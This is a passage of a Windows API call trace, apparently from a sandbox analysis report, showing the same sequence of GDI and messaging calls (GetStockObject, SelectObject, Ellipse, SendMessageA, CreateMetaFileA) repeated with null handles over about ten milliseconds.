(i=4) returned 0x1900011 [0033.775] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.775] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.775] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.775] CreateMetaFileA (pszFile="") returned 0x0 [0033.775] GetStockObject (i=4) returned 0x1900011 [0033.775] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.775] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.775] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.775] CreateMetaFileA (pszFile="") returned 0x0 [0033.775] GetStockObject (i=4) returned 0x1900011 [0033.775] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.775] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.775] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.775] CreateMetaFileA (pszFile="") returned 0x0 [0033.775] GetStockObject (i=4) returned 0x1900011 [0033.775] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.775] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.775] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.775] CreateMetaFileA (pszFile="") returned 0x0 [0033.775] GetStockObject (i=4) returned 0x1900011 [0033.776] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.776] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.776] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.776] CreateMetaFileA (pszFile="") returned 0x0 [0033.776] GetStockObject (i=4) returned 0x1900011 [0033.776] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.776] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.776] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.776] CreateMetaFileA (pszFile="") returned 0x0 [0033.776] GetStockObject (i=4) returned 0x1900011 [0033.776] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.776] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.776] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.776] CreateMetaFileA (pszFile="") returned 0x0 [0033.776] GetStockObject (i=4) returned 0x1900011 [0033.776] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.776] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.776] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.776] CreateMetaFileA (pszFile="") returned 0x0 [0033.776] GetStockObject (i=4) returned 0x1900011 [0033.776] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.776] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.776] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.776] CreateMetaFileA (pszFile="") returned 0x0 [0033.776] GetStockObject (i=4) returned 0x1900011 [0033.776] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.776] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.776] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.776] CreateMetaFileA (pszFile="") returned 0x0 [0033.776] GetStockObject (i=4) returned 0x1900011 [0033.776] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.776] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.776] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.776] CreateMetaFileA (pszFile="") returned 0x0 [0033.776] GetStockObject (i=4) returned 0x1900011 [0033.776] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.776] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.776] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.776] CreateMetaFileA (pszFile="") returned 0x0 [0033.777] GetStockObject (i=4) returned 0x1900011 [0033.777] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.777] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.777] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.777] CreateMetaFileA (pszFile="") returned 0x0 [0033.777] GetStockObject (i=4) returned 0x1900011 [0033.777] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.777] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.777] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.777] CreateMetaFileA (pszFile="") returned 0x0 [0033.777] GetStockObject (i=4) returned 0x1900011 [0033.777] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.777] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.777] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.777] CreateMetaFileA (pszFile="") returned 0x0 [0033.777] GetStockObject (i=4) returned 0x1900011 [0033.777] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.777] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.777] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.777] CreateMetaFileA (pszFile="") returned 0x0 [0033.777] GetStockObject (i=4) returned 0x1900011 [0033.777] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.777] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.777] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.777] CreateMetaFileA (pszFile="") returned 0x0 [0033.777] GetStockObject (i=4) returned 0x1900011 [0033.777] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.777] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.777] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.777] CreateMetaFileA (pszFile="") returned 0x0 [0033.777] GetStockObject (i=4) returned 0x1900011 [0033.777] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.777] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.777] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.777] CreateMetaFileA (pszFile="") returned 0x0 [0033.777] GetStockObject (i=4) returned 0x1900011 [0033.777] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.777] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.778] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.778] CreateMetaFileA (pszFile="") returned 0x0 [0033.778] GetStockObject (i=4) returned 0x1900011 [0033.778] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.778] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.778] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.778] CreateMetaFileA (pszFile="") returned 0x0 [0033.778] GetStockObject (i=4) returned 0x1900011 [0033.778] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.778] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.778] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.778] CreateMetaFileA (pszFile="") returned 0x0 [0033.778] GetStockObject (i=4) returned 0x1900011 [0033.778] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.778] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.778] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.778] CreateMetaFileA (pszFile="") returned 0x0 [0033.778] GetStockObject (i=4) returned 0x1900011 [0033.778] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.778] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.778] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.778] CreateMetaFileA (pszFile="") returned 0x0 [0033.778] GetStockObject (i=4) returned 0x1900011 [0033.778] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.778] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.778] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.778] CreateMetaFileA (pszFile="") returned 0x0 [0033.778] GetStockObject (i=4) returned 0x1900011 [0033.778] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.778] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.778] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.778] CreateMetaFileA (pszFile="") returned 0x0 [0033.778] GetStockObject (i=4) returned 0x1900011 [0033.778] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.778] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.778] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.778] CreateMetaFileA (pszFile="") returned 0x0 [0033.778] GetStockObject (i=4) returned 0x1900011 [0033.778] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.779] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.779] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.779] CreateMetaFileA (pszFile="") returned 0x0 [0033.779] GetStockObject (i=4) returned 0x1900011 [0033.779] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.779] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.779] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.779] CreateMetaFileA (pszFile="") returned 0x0 [0033.779] GetStockObject (i=4) returned 0x1900011 [0033.779] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.779] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.779] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.779] CreateMetaFileA (pszFile="") returned 0x0 [0033.779] GetStockObject (i=4) returned 0x1900011 [0033.779] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.779] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.779] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.779] CreateMetaFileA (pszFile="") returned 0x0 [0033.779] GetStockObject (i=4) returned 0x1900011 [0033.779] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.779] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.779] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.779] CreateMetaFileA (pszFile="") returned 0x0 [0033.779] GetStockObject (i=4) returned 0x1900011 [0033.779] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.779] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.779] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.779] CreateMetaFileA (pszFile="") returned 0x0 [0033.779] GetStockObject (i=4) returned 0x1900011 [0033.779] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.779] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.779] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.779] CreateMetaFileA (pszFile="") returned 0x0 [0033.779] GetStockObject (i=4) returned 0x1900011 [0033.779] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.779] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.779] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.779] CreateMetaFileA (pszFile="") returned 0x0 [0033.780] GetStockObject (i=4) returned 0x1900011 [0033.780] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.780] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.780] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.780] CreateMetaFileA (pszFile="") returned 0x0 [0033.780] GetStockObject (i=4) returned 0x1900011 [0033.780] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.780] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.780] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.780] CreateMetaFileA (pszFile="") returned 0x0 [0033.780] GetStockObject (i=4) returned 0x1900011 [0033.780] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.780] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.780] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.780] CreateMetaFileA (pszFile="") returned 0x0 [0033.780] GetStockObject (i=4) returned 0x1900011 [0033.780] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.780] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.780] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.780] CreateMetaFileA (pszFile="") returned 0x0 [0033.780] GetStockObject (i=4) returned 0x1900011 [0033.780] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.780] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.780] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.780] CreateMetaFileA (pszFile="") returned 0x0 [0033.780] GetStockObject (i=4) returned 0x1900011 [0033.780] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.780] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.780] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.780] CreateMetaFileA (pszFile="") returned 0x0 [0033.780] GetStockObject (i=4) returned 0x1900011 [0033.780] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.780] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.780] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.780] CreateMetaFileA (pszFile="") returned 0x0 [0033.780] GetStockObject (i=4) returned 0x1900011 [0033.780] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.780] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.781] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.781] CreateMetaFileA (pszFile="") returned 0x0 [0033.781] GetStockObject (i=4) returned 0x1900011 [0033.781] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.781] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.781] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.781] CreateMetaFileA (pszFile="") returned 0x0 [0033.781] GetStockObject (i=4) returned 0x1900011 [0033.781] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.781] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.781] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.781] CreateMetaFileA (pszFile="") returned 0x0 [0033.781] GetStockObject (i=4) returned 0x1900011 [0033.781] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.781] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.781] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.781] CreateMetaFileA (pszFile="") returned 0x0 [0033.781] GetStockObject (i=4) returned 0x1900011 [0033.781] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.781] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.781] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.781] CreateMetaFileA (pszFile="") returned 0x0 [0033.781] GetStockObject (i=4) returned 0x1900011 [0033.781] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.781] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.781] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.781] CreateMetaFileA (pszFile="") returned 0x0 [0033.781] GetStockObject (i=4) returned 0x1900011 [0033.781] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.781] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.781] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.781] CreateMetaFileA (pszFile="") returned 0x0 [0033.781] GetStockObject (i=4) returned 0x1900011 [0033.781] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.781] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.781] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.781] CreateMetaFileA (pszFile="") returned 0x0 [0033.781] GetStockObject (i=4) returned 0x1900011 [0033.781] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.782] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.782] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.782] CreateMetaFileA (pszFile="") returned 0x0 [0033.782] GetStockObject (i=4) returned 0x1900011 [0033.782] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.782] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.782] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.782] CreateMetaFileA (pszFile="") returned 0x0 [0033.782] GetStockObject (i=4) returned 0x1900011 [0033.782] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.782] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.782] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.782] CreateMetaFileA (pszFile="") returned 0x0 [0033.782] GetStockObject (i=4) returned 0x1900011 [0033.782] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.782] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.782] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.782] CreateMetaFileA (pszFile="") returned 0x0 [0033.782] GetStockObject (i=4) returned 0x1900011 [0033.782] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.782] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.782] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.782] CreateMetaFileA (pszFile="") returned 0x0 [0033.782] GetStockObject (i=4) returned 0x1900011 [0033.782] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.782] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.782] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.782] CreateMetaFileA (pszFile="") returned 0x0 [0033.782] GetStockObject (i=4) returned 0x1900011 [0033.782] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.782] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.782] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.782] CreateMetaFileA (pszFile="") returned 0x0 [0033.782] GetStockObject (i=4) returned 0x1900011 [0033.782] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.782] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.782] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.782] CreateMetaFileA (pszFile="") returned 0x0 [0033.783] GetStockObject (i=4) returned 0x1900011 [0033.783] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.783] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.783] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.783] CreateMetaFileA (pszFile="") returned 0x0 [0033.783] GetStockObject (i=4) returned 0x1900011 [0033.783] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.783] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.783] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.783] CreateMetaFileA (pszFile="") returned 0x0 [0033.783] GetStockObject (i=4) returned 0x1900011 [0033.783] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.783] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.783] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.783] CreateMetaFileA (pszFile="") returned 0x0 [0033.783] GetStockObject (i=4) returned 0x1900011 [0033.783] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.783] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.783] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.783] CreateMetaFileA (pszFile="") returned 0x0 [0033.783] GetStockObject (i=4) returned 0x1900011 [0033.783] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.783] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.783] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.783] CreateMetaFileA (pszFile="") returned 0x0 [0033.783] GetStockObject (i=4) returned 0x1900011 [0033.783] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.783] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.783] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.783] CreateMetaFileA (pszFile="") returned 0x0 [0033.783] GetStockObject (i=4) returned 0x1900011 [0033.783] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.783] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.783] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.783] CreateMetaFileA (pszFile="") returned 0x0 [0033.783] GetStockObject (i=4) returned 0x1900011 [0033.783] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.783] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.783] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.784] CreateMetaFileA (pszFile="") returned 0x0 [0033.784] GetStockObject (i=4) returned 0x1900011 [0033.784] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.784] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.784] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.784] CreateMetaFileA (pszFile="") returned 0x0 [0033.784] GetStockObject (i=4) returned 0x1900011 [0033.784] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.784] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.784] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.784] CreateMetaFileA (pszFile="") returned 0x0 [0033.784] GetStockObject (i=4) returned 0x1900011 [0033.784] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.784] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.784] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.784] CreateMetaFileA (pszFile="") returned 0x0 [0033.784] GetStockObject (i=4) returned 0x1900011 [0033.784] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.784] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.784] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.784] CreateMetaFileA (pszFile="") returned 0x0 [0033.784] GetStockObject (i=4) returned 0x1900011 [0033.784] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.784] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.784] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.784] CreateMetaFileA (pszFile="") returned 0x0 [0033.784] GetStockObject (i=4) returned 0x1900011 [0033.784] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.784] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.784] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.784] CreateMetaFileA (pszFile="") returned 0x0 [0033.784] GetStockObject (i=4) returned 0x1900011 [0033.784] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.784] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.784] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.784] CreateMetaFileA (pszFile="") returned 0x0 [0033.784] GetStockObject (i=4) returned 0x1900011 [0033.785] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.785] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.785] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.785] CreateMetaFileA (pszFile="") returned 0x0 [0033.785] GetStockObject (i=4) returned 0x1900011 [0033.785] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.785] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.785] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.785] CreateMetaFileA (pszFile="") returned 0x0 [0033.785] GetStockObject (i=4) returned 0x1900011 [0033.785] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.785] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.785] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.785] CreateMetaFileA (pszFile="") returned 0x0 [0033.785] GetStockObject (i=4) returned 0x1900011 [0033.785] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.785] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.785] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.785] CreateMetaFileA (pszFile="") returned 0x0 [0033.785] GetStockObject (i=4) returned 0x1900011 [0033.785] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.785] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.785] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.785] CreateMetaFileA (pszFile="") returned 0x0 [0033.785] GetStockObject (i=4) returned 0x1900011 [0033.785] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.785] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.785] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.785] CreateMetaFileA (pszFile="") returned 0x0 [0033.785] GetStockObject (i=4) returned 0x1900011 [0033.785] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.785] Ellipse 